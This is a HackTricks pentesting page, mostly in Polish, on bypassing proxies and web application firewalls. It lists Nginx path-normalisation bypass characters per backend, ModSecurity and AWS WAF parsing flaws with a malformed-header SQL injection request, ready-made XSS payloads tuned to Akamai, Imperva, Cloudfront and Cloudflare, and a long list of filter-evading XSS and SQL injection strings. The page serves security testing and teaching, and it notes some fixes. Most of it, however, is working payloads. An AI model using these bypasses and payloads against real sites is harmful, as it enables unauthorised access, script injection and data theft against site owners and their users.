Omijanie zabezpieczeń Proxy / WAF

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Omijanie reguł ACL Nginx przez manipulację ścieżką

Techniki from this research.

Nginx rule example:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Aby zapobiec obejściom Nginx wykonuje normalizację ścieżki przed jej sprawdzeniem. Jednak jeśli serwer backendowy wykonuje inną normalizację (usuwając znaki, których Nginx nie usuwa), może być możliwe obejście tej ochrony.

NodeJS - Express

Wersja NginxZnaki omijające Node.js
1.22.0\xA0
1.21.6\xA0
1.20.2\xA0, \x09, \x0C
1.18.0\xA0, \x09, \x0C
1.16.1\xA0, \x09, \x0C

Flask

Wersja NginxZnaki omijające Flask
1.22.0\x85, \xA0
1.21.6\x85, \xA0
1.20.2\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Wersja NginxZnaki omijające Spring Boot
1.22.0;
1.21.6;
1.20.2\x09, ;
1.18.0\x09, ;
1.16.1\x09, ;

PHP-FPM

Konfiguracja Nginx FPM:

location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx jest skonfigurowany tak, aby blokować dostęp do /admin.php, ale można to obejść, uzyskując dostęp do /admin.php/index.php.

Jak temu zapobiec

location ~* ^/admin {
deny all;
}

Bypass Mod Security Rules

Path Confusion

In this post wyjaśniono, że ModSecurity v3 (do wersji 3.0.12) nieprawidłowo zaimplementował zmienną REQUEST_FILENAME, która miała zawierać odwiedzaną ścieżkę (do początku parametrów). Dzieje się tak, ponieważ wykonywał dekodowanie URL, aby uzyskać ścieżkę.
W związku z tym żądanie takie jak http://example.com/foo%3f';alert(1);foo= w mod security będzie traktowane tak, jakby ścieżka była tylko /foo, ponieważ %3f jest zamieniane na ?, co kończy część ścieżki URL, podczas gdy faktyczna ścieżka, którą otrzyma serwer, to /foo%3f';alert(1);foo=.

Zmiennе REQUEST_BASENAME i PATH_INFO również były dotknięte tym błędem.

Coś podobnego wystąpiło w wersji 2 Mod Security, co pozwalało ominąć ochronę zapobiegającą dostępowi do plików o określonych rozszerzeniach związanych z backupami (takich jak .bak) po prostu przez wysłanie kropki zakodowanej w URL jako %2e, na przykład: https://example.com/backup%2ebak.

Bypass AWS WAF ACL

Malformed Header

This research wspomina, że możliwe było obejście reguł AWS WAF stosowanych do nagłówków HTTP przez wysłanie “malformed” nagłówka, który nie był poprawnie parsowany przez AWS, natomiast był parsowany przez serwer backend.

For example, sending the following request with a SQL injection in the header X-Query:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

Było możliwe ominięcie AWS WAF, ponieważ nie rozpoznawał, że następna linia jest częścią wartości nagłówka, podczas gdy serwer NODEJS tak (to zostało naprawione).

Ogólne sposoby omijania WAF

Limity rozmiaru żądania

Zazwyczaj WAFs mają określony limit długości żądań do sprawdzenia i jeśli żądanie POST/PUT/PATCH go przekracza, WAF nie sprawdzi żądania.

Maksymalny rozmiar treści żądania sieciowego, który może być sprawdzony dla Application Load Balancer i AWS AppSync protections8 KB
Maksymalny rozmiar treści żądania sieciowego, który może być sprawdzony dla CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections**64 KB

Starsze Web Application Firewalls z Core Rule Set 3.1 (lub niższym) pozwalają na wiadomości większe niż 128 KB przez wyłączenie inspekcji treści żądania, ale te wiadomości nie będą sprawdzane pod kątem podatności. W nowszych wersjach (Core Rule Set 3.2 lub nowszym), to samo można osiągnąć przez wyłączenie maksymalnego limitu treści żądania. Gdy żądanie przekracza limit rozmiaru:

If prevention mode: Logs and blocks the request.
If detection mode: Inspects up to the limit, ignores the rest, and logs if the Content-Length exceeds the limit.

Domyślnie WAF inspects only the first 8KB of a request. It can increase the limit up to 128KB by adding Advanced Metadata.

Up to 128KB.

Luki w inspekcji zasobów statycznych (.js GETs)

Niektóre stosy CDN/WAF stosują słabą lub żadną inspekcję treści dla żądań GET dotyczących zasobów statycznych (np. ścieżki kończące się na .js), podczas gdy nadal stosują reguły globalne, takie jak rate limiting i IP reputation. W połączeniu z automatycznym buforowaniem rozszerzeń statycznych, można to wykorzystać do dostarczenia lub zaszczepienia złośliwych wariantów, które wpływają na późniejsze odpowiedzi HTML.

Praktyczne przypadki użycia:

  • Wysyłaj payloady w nieufnych nagłówkach (np. User-Agent) w żądaniu GET do ścieżki .js, aby uniknąć inspekcji treści, a następnie natychmiast zażądaj głównego HTML, aby wpłynąć na wariant w cache’u.
  • Użyj świeżego/czystego IP; gdy IP zostanie oznaczone, zmiany w routingu mogą uczynić technikę zawodną.
  • W Burp Repeater, użyj “Send group in parallel” (single-packet style) aby wyścigać dwa żądania (.js potem HTML) tą samą ścieżką front-end.

To dobrze współgra z header-reflection cache poisoning. Zobacz:

Cache Poisoning and Cache Deception

Obfuskacja

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Kompatybilność Unicode

W zależności od implementacji normalizacji Unicode (more info here), znaki o tej samej kompatybilności Unicode mogą być w stanie obejść WAF i zostać wykonane jako zamierzony payload. Zgodne znaki można znaleźć here.

Przykład

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

Bypass Contextual WAFs with encodings

As mentioned in this blog post, Aby obejść WAFy zdolne do utrzymywania kontekstu danych wejściowych użytkownika, można nadużyć mechanizmy WAF, aby faktycznie znormalizować dane wejściowe użytkownika.

For example, in the post it’s mentioned that Akamai URL decoded a user input 10 times. Therefore something like <input/%2525252525252525253e/onfocus will be seen by Akamai as <input/>/onfocus which might think that it’s ok as the tag is closed. However, as long as the application doesn’t URL decode the input 10 times, the victim will see something like <input/%25252525252525253e/onfocus which is still valid for a XSS attack.

Therefore, this allows to hide payloads in encoded components that the WAF will decode and interpret while the victim won’t.

Moreover, this can be done not only with URL encoded payloads but also with other encodings such as unicode, hex, octal…

In the post the following final bypasses are suggested:

  • Akamai:akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
  • Imperva:imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
  • AWS/Cloudfront:docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
  • Cloudflare:cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">

It’s also mentioned that depending on how some WAFs understand the context of the user input, it might be possible to abuse it. The proposed example in the blog is that Akamai allow(ed) to put anything between /* and */ (potentially because this is commonly used as comments. Therefore, a SQLinjection such as /*'or sleep(5)-- -*/ won’t be caught and will be valid as /* is the starting string of the injection and */ is commented.

These kind of context problems can also be used to abuse other vulnerabilities than the one expected to be exploited by the WAF (e.g. this could also be used to exploit a XSS).

Inline JavaScript first-statement inspection gaps

Niektóre inline-inspection rulesets parsują tylko pierwsze polecenie JavaScript obecne w handlerze zdarzenia. Poprzez prefiksowanie niewinnie wyglądającego wyrażenia w nawiasach, po którym następuje średnik (na przykład onfocus="(history.length);payload"), złośliwy kod umieszczony po średniku omija inspekcję, podczas gdy przeglądarka nadal go wykona. Połączenie tego z fragment-induced focus (np. dopisaniem #forgot_btn, aby docelowy element był fokusowany przy ładowaniu) pozwala na click-less XSS, które może natychmiast wywołać $.getScript i uruchomić tooling phishingowy, taki jak keyloggery. See the attribute-only login XSS case study derived from this research.

H2C Smuggling

Upgrade Header Smuggling

IP Rotation

Regex Bypasses

Różne techniki można wykorzystać do obejścia filtrów regex na firewallach. Przykłady obejmują naprzemienną wielkość liter, dodawanie złamań linii oraz kodowanie payloadów. Zasoby dotyczące różnych bypassów można znaleźć na PayloadsAllTheThings i OWASP. Poniższe przykłady zostały zaczerpnięte z this article.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Narzędzia

  • nowafpls: Wtyczka do Burp dodająca śmieciowe dane do żądań, aby obejść WAFs przez manipulację długością

Źródła

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks